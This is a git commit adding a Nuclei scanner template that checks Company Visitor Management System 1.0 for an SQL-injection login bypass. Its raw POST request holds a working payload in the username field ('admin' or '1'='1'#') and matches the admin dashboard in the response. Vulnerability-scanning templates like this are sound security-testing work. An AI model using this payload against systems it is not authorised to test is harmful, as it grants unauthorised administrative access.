Merge pull request #4882 from arafatansari/patch-20

Create cvms-sqli.yaml
patch-1
Prince Chaddha 2022-07-26 10:43:07 +05:30 committed by GitHub
commit d07b944d90
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 38 additions and 0 deletions

View File

@ -0,0 +1,38 @@
id: cvms-sqli
info:
name: Company Visitor Management System (CVMS) 1.0 - SQLi Authentication Bypass
author: arafatansari
severity: high
description: |
Company Visitor Management System Login page can be bypassed with a simple SQLi to the username parameter.
reference:
- https://www.exploit-db.com/exploits/48884
metadata:
verified: true
tags: cvms,sqli,auth-bypass,cms
requests:
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin%27+or+%271%27%3D%271%27%23&password=nuclei&login=
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Admin user'
- 'Dashboard'
- 'CVMS'
condition: and
- type: status
status:
- 200